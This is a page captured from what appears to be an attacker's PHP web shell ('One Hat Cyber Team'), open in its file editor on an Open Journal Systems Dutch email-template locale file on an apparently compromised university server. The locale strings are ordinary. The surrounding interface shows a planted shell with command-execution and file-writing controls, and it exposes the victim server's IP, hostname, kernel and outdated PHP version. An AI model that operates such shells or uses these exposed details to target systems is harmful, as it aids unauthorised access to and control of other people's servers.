One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
lib
/
pkp
/
locale
/
nl
/
Edit File:
emails.po
msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-12-02T16:17:19-08:00\n" "PO-Revision-Date: 2025-05-27 16:45+0000\n" "Last-Translator: ojs <joglobalise@gmail.com>\n" "Language-Team: Dutch <http://translate.pkp.sfu.ca/projects/pkp-lib/emails/nl/" ">\n" "Language: nl\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: Weblate 4.18.2\n" msgid "emails.submissionAck.subject" msgstr "Bedankt voor uw inzending aan {$contextName}" msgid "emails.submissionAck.body" msgstr "" "<p>Beste {$recipientName},</p><p>Bedankt voor je inzending bij {$contextName}" ". We hebben je inzending, {$submissionTitle}, ontvangen en een lid van ons " "redactieteam zal het binnenkort bekijken. Je ontvangt een e-mail wanneer er " "een eerste beslissing is genomen, en we kunnen contact met je opnemen voor " "verdere informatie.</p><p>Je kunt je inzending bekijken en de voortgang " "ervan door de redactionele processen volgen op de volgende locatie:</p><p" ">Inzendings-URL: {$authorSubmissionUrl}</p><p>Als je bent uitgelogd, kun je " "opnieuw inloggen met de gebruikersnaam {$recipientUsername}.</p><p>Als je " "vragen hebt, neem dan contact met me op via je <a href=\"" "{$authorSubmissionUrl}\">inzendingsdashboard</a>.</p><p>Bedankt voor het " "overwegen van {$contextName} als platform voor je " "werk.</p>{$contextSignature}" msgid "emails.submissionAck.description" msgstr "" "Deze e-mail wordt automatisch verzonden naar een auteur wanneer deze zijn " "inzending indient." msgid "emails.reviewAck.subject" msgstr "Bedankt voor uw recensie" msgid "emails.reviewAck.body" msgstr "" "<p>Dear {$recipientName},</p>\n" "<p>Dank u voor het voltooien van uw beoordeling van de inzending, " "{$submissionTitle}, voor {$contextName}. We waarderen uw tijd en expertise " "in het bijdragen aan de kwaliteit van het werk dat we publiceren.</p>\n" "<p>Het was een genoegen om met u samen te werken als reviewer voor " "{$contextName}, en we hopen in de toekomst weer met u te kunnen " "samenwerken.</p>\n" "<p>Vriendelijke groeten,</p>\n" "<p>{$signature}</p>" msgid "emails.decision.notifyReviewers.subject" msgstr "Bedankt voor uw recensie" msgid "emails.decision.notifyReviewers.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>Dank u voor het voltooien van uw beoordeling van de inzending, " "{$submissionTitle}, voor {$contextName}. We waarderen uw tijd en expertise " "in het bijdragen aan de kwaliteit van het werk dat we publiceren. We hebben " "uw opmerkingen gedeeld met de auteurs, samen met de opmerkingen van onze " "andere beoordelaars en het besluit van de redacteur.</p>\n" "<p>Op basis van de ontvangen feedback hebben we de auteurs het volgende " "laten weten:</p>\n" "<p>{$decisionDescription}</p>\n" "<p>Uw aanbeveling werd in overweging genomen naast de aanbevelingen van " "andere beoordelaars voordat er een beslissing werd genomen. Soms kan de " "beslissing van de redacteur afwijken van de aanbeveling van een of meer " "beoordelaars. De redacteur houdt rekening met veel factoren en neemt deze " "beslissingen niet lichtvaardig. We zijn dankbaar voor de expertise en " "suggesties van onze beoordelaars.</p>\n" "<p>Het was een genoegen om met u samen te werken als beoordelaar voor " "{$contextName}, en we hopen in de toekomst weer met u te kunnen " "samenwerken.</p>\n" "<p>Met vriendelijke groet,</p>\n" "<p>{$signature}</p>" msgid "emails.decision.notifyOtherAuthors.subject" msgstr "Een update over uw inzending" msgid "emails.decision.notifyOtherAuthors.body" msgstr "" "<p>De volgende e-mail is verzonden naar {$submittingAuthorName} van " "{$contextName} betreffende {$submissionTitle}.</p>\n" "<p>U ontvangt een kopie van deze kennisgeving omdat u bent geïdentificeerd " "als een auteur van de inzending. Eventuele instructies in het onderstaande " "bericht zijn bedoeld voor de indienende auteur, {$submittingAuthorName}, en " "er is op dit moment geen actie van u vereist.</p>\n" "\n" "{$messageToSubmittingAuthor}" #, fuzzy msgid "emails.editorDecisionSendToExternal.subject" msgstr "Redacteursbeslissing" msgid "emails.editorDecisionSendToExternal.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>Ik ben verheugd u mee te delen dat een redacteur uw inzending, " "{$submissionTitle}, heeft beoordeeld en heeft besloten deze naar peer review " "te sturen. Een redacteur zal gekwalificeerde beoordelaars identificeren die " "feedback zullen geven op uw inzending.</p>\n" "<p>{$reviewTypeDescription} U zult van ons horen met feedback van de " "beoordelaars en informatie over de volgende stappen.</p>\n" "<p>Houd er rekening mee dat het verzenden van de inzending naar peer review " "niet garandeert dat deze zal worden gepubliceerd. We zullen de aanbevelingen " "van de beoordelaars overwegen voordat we beslissen om de inzending te " "accepteren voor publicatie. Het kan zijn dat u gevraagd wordt om wijzigingen " "aan te brengen en te reageren op de opmerkingen van de beoordelaars voordat " "er een definitieve beslissing wordt genomen.</p>\n" "<p>Als u vragen heeft, neem dan contact met mij op via uw inzending " "dashboard.</p>\n" "<p>{$signature}</p>" msgid "emails.editorDecisionSendToProduction.subject" msgstr "Volgende stappen voor het publiceren van uw inzending" msgid "emails.editorDecisionSendToProduction.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>Ik schrijf u namens {$contextName} om u te laten weten dat de bewerking " "van uw inzending, {$submissionTitle}, is voltooid. Uw inzending gaat nu naar " "de productiefase, waar de definitieve drukproeven zullen worden voorbereid " "voor publicatie. We nemen contact met u op als we verdere hulp nodig " "hebben.</p>\n" "<p>Als u vragen heeft, neem dan contact met mij op via uw <a href=\"" "{$authorSubmissionUrl}\">inzending dashboard</a>.</p>\n" "<p>Met vriendelijke groet,</p>\n" "<p>{$signature}</p>" msgid "emails.editorDecisionRevisions.subject" msgstr "" "Uw inzending is beoordeeld en we moedigen u aan om herzieningen in te dienen" msgid "emails.editorDecisionRevisions.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>Uw inzending {$submissionTitle} is beoordeeld en we willen u aanmoedigen " "om herzieningen in te dienen die de opmerkingen van de beoordelaars " "adresseren. Een redacteur zal deze herzieningen bekijken en als ze de zorgen " "adequaat aanpakken, kan uw inzending worden geaccepteerd voor publicatie.</p>" "\n" "<p>De opmerkingen van de beoordelaars zijn onderaan deze e-mail opgenomen. " "Graag ontvangen wij uw reactie op elk punt in de opmerkingen van de " "beoordelaars en geef aan welke wijzigingen u heeft aangebracht. Als u van " "mening bent dat bepaalde opmerkingen van de beoordelaars ongegrond of " "ongepast zijn, licht dan alstublieft uw perspectief toe.</p>\n" "<p>Wanneer u uw herzieningen heeft voltooid, kunt u de herziene documenten " "samen met uw reactie op de opmerkingen van de beoordelaars uploaden via uw " "<a href=\"{$authorSubmissionUrl}\">inzending dashboard</a>. Indien u bent " "uitgelogd, kunt u opnieuw inloggen met de gebruikersnaam " "{$recipientUsername}.</p>\n" "<p>Als u vragen heeft, neem dan contact met mij op via uw <a href=\"" "{$authorSubmissionUrl}\">inzending dashboard</a>.</p>\n" "<p>Wij kijken uit naar ontvangst van uw herziene inzending.</p>\n" "<p>Met vriendelijke groet,</p>\n" "{$signature}<hr>\n" "<p>De volgende opmerkingen zijn ontvangen van de beoordelaars.</p>\n" "{$allReviewerComments}" msgid "emails.editorDecisionResubmit.subject" msgstr "" "Uw inzending is beoordeeld - gelieve deze te herzien en opnieuw in te dienen" msgid "emails.editorDecisionResubmit.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>Na het beoordelen van uw inzending, {$submissionTitle}, hebben de " "beoordelaars aanbevolen dat uw inzending in zijn huidige vorm niet kan " "worden geaccepteerd voor publicatie. Desondanks willen we u aanmoedigen om " "een herziene versie in te dienen die de opmerkingen van de beoordelaars " "adresseert. Uw herzieningen zullen worden beoordeeld door een redacteur en " "kunnen worden doorgestuurd voor een volgende ronde van peer review.</p>\n" "<p>Houd er rekening mee dat het opnieuw indienen van uw werk niet garandeert " "dat het zal worden geaccepteerd.</p>\n" "<p>De opmerkingen van de beoordelaars zijn onderaan deze e-mail opgenomen. " "Reageer alstublieft op elk punt en geef aan welke wijzigingen u heeft " "aangebracht. Als u van mening bent dat bepaalde opmerkingen van de " "beoordelaars ongepast zijn, licht dan alstublieft uw perspectief toe. Als u " "vragen heeft over de aanbevelingen in uw beoordeling, neem deze dan op in uw " "reactie.</p>\n" "<p>Wanneer u uw herzieningen heeft voltooid, kunt u de herziene documenten " "samen met uw reactie op de opmerkingen van de beoordelaars <a href=\"" "{$authorSubmissionUrl}\">indienen via uw inzendingsdashboard</a>. Als u bent " "uitgelogd, kunt u opnieuw inloggen met de gebruikersnaam " "{$recipientUsername}.</p>\n" "<p>Als u vragen heeft, neem dan contact met mij op via uw <a href=\"" "{$authorSubmissionUrl}\">inzendingsdashboard</a>.</p>\n" "<p>Wij kijken uit naar ontvangst van uw herziene inzending.</p>\n" "<p>Met vriendelijke groet,</p>\n" "{$signature}<hr>\n" "<p>De volgende opmerkingen zijn ontvangen van de beoordelaars.</p>\n" "{$allReviewerComments}" msgid "emails.editorDecisionDecline.subject" msgstr "Uw inzending is afgewezen" msgid "emails.editorDecisionDecline.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>Hoewel we uw inzending hebben ontvangen, kunnen we {$submissionTitle} " "niet accepteren voor publicatie op basis van de opmerkingen van de " "beoordelaars.</p>\n" "<p>De opmerkingen van de beoordelaars zijn onderaan deze e-mail " "opgenomen.</p>\n" "<p>Bedankt voor uw inzending aan {$contextName}. Hoewel het teleurstellend " "is dat uw inzending is afgewezen, hoop ik dat u de opmerkingen van de " "beoordelaars als constructief en nuttig beschouwt.</p>\n" "<p>U bent nu vrij om het werk elders in te dienen als u dat wenst.</p>\n" "<p>Met vriendelijke groet,</p>\n" "{$signature}<hr>\n" "<p>De volgende opmerkingen zijn ontvangen van de beoordelaars.</p>\n" "{$allReviewerComments}" #, fuzzy msgid "emails.editorRecommendation.subject" msgstr "Redacteursaanbeveling" msgid "emails.editorRecommendation.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>Na het overwegen van de feedback van de beoordelaars, wil ik graag de " "volgende aanbeveling doen met betrekking tot de inzending " "{$submissionTitle}.</p>\n" "<p>Mijn aanbeveling is: {$recommendation}.</p>\n" "<p>Bezoek alstublieft de <a href=\"{$submissionUrl}\">redactionele workflow " "van de inzending</a> om actie te ondernemen op deze aanbeveling.</p>\n" "<p>Voel u vrij om contact met mij op te nemen als u vragen heeft.</p>\n" "<p>Met vriendelijke groet,</p>\n" "<p>{$senderName}</p>" msgid "emails.copyeditRequest.subject" msgstr "" "De inzending {$submissionId} staat klaar om geredigeerd te worden voor " "{$contextAcronym}" msgid "emails.copyeditRequest.body" msgstr "" "{$recipientName}:<br />\n" "<br />\n" "Ik wil u vragen om de teksredactie uit te voeren voor artikel " ""{$submissionTitle}" voor {$contextName} door deze stappen te " "volgen.<br />\n" "1. Klik op de inzendings-URL hieronder.<br />\n" "2. Log in bij het tijdschrift en klik op het bestand dat verschijnt bij Stap " "1.<br />\n" "3. Raadpleeg de tekstredactie-instructies die op de webpagina staan.<br />\n" "4. Open het gedownloade bestand en doe de tekstredactie. Voeg auteursvragen " "toe waar nodig.<br />\n" "5. Bewaar het bewerkte bestand en laad het bij stap 1 van Tekstredactie.<br " "/>\n" "6. Stuur de GEREED e-mail naar de redacteur.<br />\n" "<br />\n" "{$contextName} URL: {$contextUrl}<br />\n" "URL inzending: {$submissionUrl}<br />\n" "Gerbruikersnaam: {$recipientUsername}" msgid "emails.editorDecisionNewReviewRound.subject" msgstr "Uw inzending is doorgestuurd voor een volgende ronde van beoordeling" msgid "emails.editorDecisionNewReviewRound.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>Uw herziene inzending, {$submissionTitle}, is doorgestuurd voor een " "nieuwe ronde van peer review.</p>\n" "<p>U zult van ons horen met feedback van de beoordelaars en informatie over " "de volgende stappen.</p>\n" "<p>Als u vragen heeft, neem dan contact met mij op via uw <a href=\"" "{$authorSubmissionUrl}\">inzending dashboard</a>.\n" "</p>\n" "<p>Met vriendelijke groet,</p>\n" "<p>{$signature}</p>\n" msgid "emails.editorDecisionRevertDecline.subject" msgstr "We hebben besloten om de afwijzing van uw inzending ongedaan te maken" msgid "emails.editorDecisionRevertDecline.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>De beslissing om uw inzending, {$submissionTitle}, af te wijzen is " "teruggedraaid.</p>\n" "<p>Een redacteur zal de ronde van beoordeling voltooien en u wordt op de " "hoogte gebracht wanneer er een beslissing is genomen.</p>\n" "<p>Soms wordt een beslissing om een inzending af te wijzen per ongeluk " "vastgelegd in ons systeem en moet deze worden teruggedraaid. Excuses voor " "eventuele verwarring die dit heeft veroorzaakt.</p>\n" "<p>We zullen contact met u opnemen als we verdere hulp nodig hebben.</p>\n" "<p>Als u vragen heeft, neem dan contact met mij op via uw <a href=\"" "{$authorSubmissionUrl}\">inzending dashboard</a>.</p>\n" "<p>Met vriendelijke groet,</p>\n" "<p>{$signature}</p>\n" msgid "emails.editorDecisionRevertInitialDecline.subject" msgstr "We hebben besloten om de afwijzing van uw inzending ongedaan te maken" msgid "emails.editorDecisionRevertInitialDecline.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>De beslissing om uw inzending, {$submissionTitle}, af te wijzen is " "teruggedraaid.</p>\n" "<p>Een redacteur zal uw inzending verder bekijken voordat besloten wordt of " "deze alsnog afgewezen wordt of doorgestuurd wordt voor beoordeling.</p>\n" "<p>Soms wordt een beslissing om een inzending af te wijzen per ongeluk " "vastgelegd in ons systeem en moet deze worden teruggedraaid. Excuses voor " "eventuele verwarring die dit heeft veroorzaakt.</p>\n" "<p>We zullen contact met u opnemen als we verdere hulp nodig hebben.</p>\n" "<p>Als u vragen heeft, neem dan contact met mij op via uw <a href=\"" "{$authorSubmissionUrl}\">inzending dashboard</a>.</p>\n" "<p>Met vriendelijke groet,</p>\n" "<p>{$signature}</p>\n" msgid "emails.editorDecisionInitialDecline.subject" msgstr "Uw inzending is afgewezen" msgid "emails.editorDecisionInitialDecline.body" msgstr "" "<p>Beste {$recipientName},</p>\n" "<p>Helaas moet ik u mededelen dat na beoordeling van uw inzending, " "{$submissionTitle}, de redacteur heeft vastgesteld dat deze niet voldoet aan " "onze publicatie-eisen voor {$contextName}.</p>\n" "<p>Ik wens u succes als u overweegt uw werk elders in te dienen.</p>\n" "<p>Met vriendelijke groet,</p>\n" "{$signature}" msgid "emails.editorialReminder.subject" msgstr "Uitstaande redactionele taken voor {$contextName}" msgid "emails.editorialReminder.body" msgstr "" "<p>Beste {$recipientName},</p><p>Op dit moment ben je toegewezen aan " "{$numberOfSubmissions} inzendingen in <a href=\"{$contextUrl}\"" ">{$contextName}</a>. De volgende inzendingen wachten op <b>jouw " "reactie</b>.</p>{$outstandingTasks}<p>Bekijk al je toewijzingen in je <a " "href=\"{$submissionsUrl}\">inzendingsdashboard</a>.</p><p>Als je vragen hebt " "over je toewijzingen, neem dan contact op met {$contactName} via " "{$contactEmail}.</p>" msgid "discussion.notification.description" msgstr "" "Dit e-mailbericht wordt verzonden wanneer een gebruiker een nieuwe discussie " "start of reageert op een bestaande discussie" msgid "emails.editorDecisionBackFromProduction.subject" msgstr "Je inzending is teruggestuurd voor het corrigeren van de tekst" msgid "emails.editorDecisionBackFromProduction.body" msgstr "" "<p>Beste {$recipientName},</p><p>Je inzending, {$submissionTitle}, is " "teruggestuurd naar de tekstredactiefase, waar het verder zal worden " "geredigeerd en opgemaakt om het voor publicatie gereed te maken.</p><p>Soms " "wordt een inzending naar de productiefase gestuurd voordat het klaar is voor " "de definitieve proefdrukken voor publicatie. Jouw inzending komt er nog aan. " "Excuses voor eventuele verwarring.</p><p>Als je vragen hebt, neem dan " "contact met me op via je <a href=\"{$authorSubmissionUrl}\"" ">inzendingsdashboard</a>.</p><p>We zullen contact met je opnemen als we " "verdere assistentie nodig hebben.</p><p>Met vriendelijke " "groet,</p><p>{$signature}</p>" msgid "emails.editorDecisionBackFromCopyediting.subject" msgstr "Je inzending is teruggezonden voor recensie" msgid "emails.editorDecisionBackFromCopyediting.body" msgstr "" "<p>Beste {$recipientName},</p><p>Je inzending, {$submissionTitle}, is " "teruggestuurd naar de beoordelingsfase. Het zal verder worden beoordeeld " "voordat het kan worden geaccepteerd voor publicatie.</p><p>Soms wordt een " "beslissing om een inzending te accepteren per ongeluk in ons systeem " "geregistreerd en moeten we het terugsturen naar de beoordelingsfase. Mijn " "excuses voor de verwarring die dit heeft veroorzaakt. We zullen ons best " "doen om de verdere beoordeling snel af te ronden, zodat je zo snel mogelijk " "een definitieve beslissing krijgt.</p><p>We zullen contact met je opnemen " "als we verdere assistentie nodig hebben.</p><p>Als je vragen hebt, neem dan " "contact met me op via je <a href=\"{$authorSubmissionUrl}\"" ">inzendingsdashboard</a>.</p><p>Met vriendelijke " "groet,</p><p>{$signature}</p>" msgid "emails.editorDecisionCancelReviewRound.subject" msgstr "Een beoordelingsronde voor je inzending is geannuleerd" msgid "emails.editorDecisionCancelReviewRound.body" msgstr "" "<p>Beste {$recipientName},</p><p>We hebben onlangs een nieuwe " "beoordelingsronde geopend voor je inzending, {$submissionTitle}. We sluiten " "deze beoordelingsronde nu af.</p><p>Soms wordt een beslissing om een " "beoordelingsronde te openen per ongeluk in ons systeem geregistreerd en " "moeten we deze beoordelingsronde annuleren. Mijn excuses voor eventuele " "verwarring die dit heeft veroorzaakt.</p><p>We zullen contact met je opnemen " "als we verdere assistentie nodig hebben.</p><p>Als je vragen hebt, neem dan " "contact met me op via je <a href=\"{$authorSubmissionUrl}\"" ">inzendingsdashboard</a>.</p><p>Met vriendelijke " "groet,</p><p>{$signature}</p>" msgid "emails.reviewResendRequest.subject" msgstr "Verzoek om je nieuwe beoordeling voor {$contextName}" msgid "emails.reviewResendRequest.body" msgstr "" "<p>Beste {$recipientName},</p><p>Onlangs heb je ons verzoek om een " "inzending, {$submissionTitle}, voor {$contextName} te beoordelen, afgewezen. " "Ik schrijf om te vragen of je toch in staat bent om de beoordeling uit te " "voeren.</p><p>We zouden je dankbaar zijn als je deze beoordeling kunt " "uitvoeren, maar we begrijpen het als dat op dit moment niet mogelijk is. Hoe " "dan ook, graag <a href=\"{$reviewAssignmentUrl}\">accepteer of wijs het " "verzoek af</a> voor {$responseDueDate}, zodat we een alternatieve " "beoordelaar kunnen vinden.</p><p>Als je vragen hebt, neem dan contact met me " "op.</p><p>Met vriendelijke groet,</p>{$signature}" msgid "emails.footer.unsubscribe" msgstr "" "<br><br>—<br><a href=\"{$unsubscribeUrl}\">Afmelden</a> voor e-mails van <a " "href=\"{$contextUrl}\">{$contextName}</a>." msgid "emails.footer.unsubscribe.discussion" msgstr "" "<br><br>—<br>Reageer op deze opmerking via <a href=\"{$submissionUrl}\"" ">#{$submissionId} {$authorsShort}</a> of <a href=\"{$unsubscribeUrl}\">meld " "je af</a> voor e-mails van <a href=\"{$contextUrl}\">{$contextName}</a>." msgid "emails.footer.unsubscribe.automated" msgstr "" "<br><br>—<br>Dit is een geautomatiseerd bericht van <a href=\"{$contextUrl}\"" ">{$contextName}</a>. Je kunt je op elk moment <a href=\"{$unsubscribeUrl}\"" ">afmelden</a> voor deze e-mail." msgid "emailTemplate.variable.unsubscribe" msgstr "De link om je af te melden van deze e-mail." #, fuzzy msgid "emails.discussion.subject" msgstr "Een bericht over {$contextName}" msgid "emails.discussion.body" msgstr "Voeg hier uw boodschap in." msgid "emails.versionCreated.subject" msgstr "Een nieuwe versie is aangemaakt voor {$submissionTitle}" msgid "emails.versionCreated.body" msgstr "" "<p>Beste {$recipientName},</p><p>Dit is een geautomatiseerd bericht om je te " "informeren dat er een nieuwe versie van je inzending, {$submissionTitle}, is " "aangemaakt. Je kunt deze versie bekijken vanuit je inzendingsdashboard via " "de volgende link:</p><p><a href=\"{$submissionUrl}\">{$submissionTitle}</a></" "p><hr><p>Dit is een automatische e-mail verzonden vanuit <a href=\"" "{$contextUrl}\">{$contextName}</a>.</p>" msgid "emails.reviewComplete.subject" msgstr "" "Beoordeling voltooid: {$reviewerName} beveelt {$reviewRecommendation} aan " "voor #{$submissionId} {$authorsShort} — {$submissionTitle}" msgid "emails.reviewComplete.body" msgstr "" "<p>Beste {$recipientName},</p><p>{$reviewerName} heeft de volgende " "beoordeling voltooid:</p><p><a href=\"{$submissionUrl}\">#{$submissionId} " "{$authorsShort} — {$submissionTitle}</a><br /><b>Aanbeveling:</b> " "{$reviewRecommendation}<br /><b>Type:</b> {$reviewMethod}</p><p>Log in om <a " "href=\"{$submissionUrl}\">alle bestanden en opmerkingen</a> te bekijken die " "door deze beoordelaar zijn verstrekt.</p>" msgid "emails.reviewEdit.subject" msgstr "Je beoordelingsopdracht is gewijzigd voor {$contextName}" msgid "emails.reviewEdit.body" msgstr "" "<p>Beste {$recipientName},</p><p>Een redacteur heeft wijzigingen aangebracht " "in je beoordelingsopdracht voor {$contextName}. Bekijk alsjeblieft de " "details hieronder en laat het ons weten als je vragen hebt.</p><p><a href=\"" "{$reviewAssignmentUrl}\">{$submissionTitle}</a><br /><b>Type:</b> " "{$reviewMethod}<br /><b>Accepteer of Wijs Af Voor:</b> {$responseDueDate}<br " "/><b>Beoordeling Indienen Voor:</b> {$reviewDueDate}</p><p>Je kunt inloggen " "om <a href=\"{$reviewAssignmentUrl}\">deze beoordeling te voltooien</a> op " "elk gewenst moment.</p>" msgid "emails.reviewConfirm.subject" msgstr "" "Beoordeling geaccepteerd: {$reviewerName} heeft de beoordelingsopdracht " "geaccepteerd voor #{$submissionId} {$authorsShort} — {$submissionTitle}" msgid "emails.reviewConfirm.body" msgstr "" "<p>Beste {$recipientName},</p><p>{$reviewerName} heeft de volgende " "beoordeling geaccepteerd:</p><p><a href=\"{$submissionUrl}\">#{$submissionId}" " {$authorsShort} — {$submissionTitle}</a><br /><b>Type:</b> {$reviewMethod}</" "p><p><b>Beoordeling vereist voor:</b> {$reviewDueDate}</p><p>Log in om <a " "href=\"{$submissionUrl}\">alle beoordelingsopdrachten van de beoordelaar</a> " "voor deze inzending te bekijken.</p><br><br>—<br>Dit is een geautomatiseerd " "bericht vanuit <a href=\"{$contextUrl}\">{$contextName}</a>." msgid "emails.submissionSavedForLater.subject" msgstr "Ga door met je inzending aan {$contextName}" msgid "emails.submissionSavedForLater.body" msgstr "" "<p>Beste {$recipientName},</p><p>Je inzending details zijn opgeslagen in ons " "systeem, maar het is nog niet ingediend ter overweging. Je kunt op elk " "moment terugkeren om je inzending te voltooien door de onderstaande link te " "volgen.</p><p><a href=\"{$submissionWizardUrl}\">{$authorsShort} — " "{$submissionTitle}</a></p><hr><p>Dit is een geautomatiseerde e-mail vanuit " "<a href=\"{$contextUrl}\">{$contextName}</a>.</p>" msgid "emails.submissionNeedsEditor.subject" msgstr "" "Er moet een redacteur worden toegewezen aan een nieuwe inzending: " "{$submissionTitle}" msgid "emails.submissionNeedsEditor.body" msgstr "" "<p>Beste {$recipientName},</p><p>De volgende inzending is ingediend en er is " "nog geen redacteur toegewezen.</p><p><a href=\"{$submissionUrl}\"" ">{$submissionTitle}</a><br " "/>{$authors}</p><p><b>Samenvatting</b></p>{$submissionAbstract}<p>Wijs " "alsjeblieft een redacteur toe die verantwoordelijk zal zijn voor de " "inzending door op de titel hierboven te klikken en een redacteur toe te " "wijzen onder de sectie Deelnemers.</p><hr><p>Dit is een geautomatiseerde e-" "mail vanuit <a href=\"{$contextUrl}\">{$contextName}</a>.</p>" msgid "emails.submissionAckNotUser.description" msgstr "" "Dit e-mailbericht wordt automatisch verzonden naar auteurs die genoemd " "worden bij een nieuwe inzending, maar niet de indienende auteur zijn." msgid "emails.submissionAckNotAuthor.subject" msgstr "Bevestiging van inzending" msgid "emails.submissionAckNotAuthor.body" msgstr "" "<p>Beste {$recipientName},</p><p>Je bent genoemd als medeauteur bij een " "inzending voor {$contextName}. De indiener, {$submitterName}, heeft de " "volgende details " "verstrekt:</p><p>{$submissionTitle}<br>{$authorsWithAffiliation}</p><p>Als " "een van deze details onjuist is, of als je niet genoemd wilt worden bij deze " "inzending, neem dan contact met me op.</p><p>Bedankt voor je overweging van " "{$contextName} als platform voor je werk.</p><p>Met vriendelijke " "groet,</p>{$contextSignature}" #, fuzzy #~ msgid "emails.reviewAck.description" #~ msgstr "" #~ "Deze e-mail wordt door de sectieredacteur verstuurd om de ontvangst van " #~ "een review te bevestigen en de reviewer te bedanken voor zijn bijdrage." msgid "emails.orcidCollectAuthorId.subject" msgstr "ORCID van uw inzending" msgid "emails.orcidCollectAuthorId.body" msgstr "" "Beste {$recipientName},<br/>\n" "<br/>\n" "U bent auteur van een inzending voor {$contextName}.<br/> \n" "Wilt u bevestigen dat u co-auteur bent door uw ORCID id toe te voegen via volgende link?<br/>\n" "<br/>\n" "<a href=\"{$authorOrcidUrl}\"><img id=\"orcid-id-logo\" src=\"https://orcid.org/sites/default/files/images/orcid_16x16.png\" width='16' height='16' alt=\"ORCID iD icon\" style=\"display: block; margin: 0 .5em 0 0; padding: 0; float: left;\"/>Registreer of koppel uw ORCID ID</a><br/>\n" "<br/>\n" "<br/>\n" "<a href=\"{$orcidAboutUrl}\">Meer informatie over ORCID op {$contextName}</a><br/>\n" "<br/>\n" "Neemt u alstublieft contact op als u vragen heeft.<br/>\n" "<br/>\n" "{$principalContactSignature}<br/>\n" "" msgid "emails.orcidCollectAuthorId.description" msgstr "Deze e-mail wordt verstuurd om de ORCID ID's van auteurs te verzamelen." msgid "emails.orcidRequestAuthorAuthorization.subject" msgstr "Toegangsverzoek tot uw ORCID profiel" msgid "emails.orcidRequestAuthorAuthorization.body" msgstr "" "Beste {$recipientName},<br/>\n" "<br/>\n" "U bent auteur van het manuscript \"{$submissionTitle}\" dat werd ingediend voor {$contextName}.\n" "<br/>\n" "<br/>\n" "Wilt u uw toestemming geven om uw ORCID ID toe te voegen aan deze inzending en de inzending toe te voegen aan uw ORCID profiel bij publicatie?<br/>\n" "Klik op de link naar de officiële ORCID website, meld u aan met uw gebruikersprofiel en authoriseer de toegang door de instructies te volgen.<br/>\n" "<a href=\"{$authorOrcidUrl}\"><img id=\"orcid-id-logo\" src=\"https://orcid.org/sites/default/files/images/orcid_16x16.png\" width='16' height='16' alt=\"ORCID iD icon\" style=\"display: block; margin: 0 .5em 0 0; padding: 0; float: left;\"/>Registreer of koppel uw ORCID ID</a><br/>\n" "<br/>\n" "<br/>\n" "<a href=\"{$orcidAboutUrl}\">Meer informatie over ORCID op {$contextName}</a><br/>\n" "<br>\n" "Neemt u alstublieft contact op als u vragen heeft.<br/>\n" "<br/>\n" "{$principalContactSignature}<br/>\n" "" msgid "emails.orcidRequestAuthorAuthorization.description" msgstr "Deze e-mail wordt verstuurd om toegang te vragen aan auteurs tot hun ORCID profiel." msgid "emails.changeProfileEmailInvitationNotify.subject" msgstr "Bevestig het account contact bij wijzigingsverzoek E-mail" msgid "emails.changeProfileEmailInvitationNotify.description" msgstr "" "Deze e-mail is verzonden aan gebruikers die een wijziging van hun e-" "mailadres verzochten."
Simpan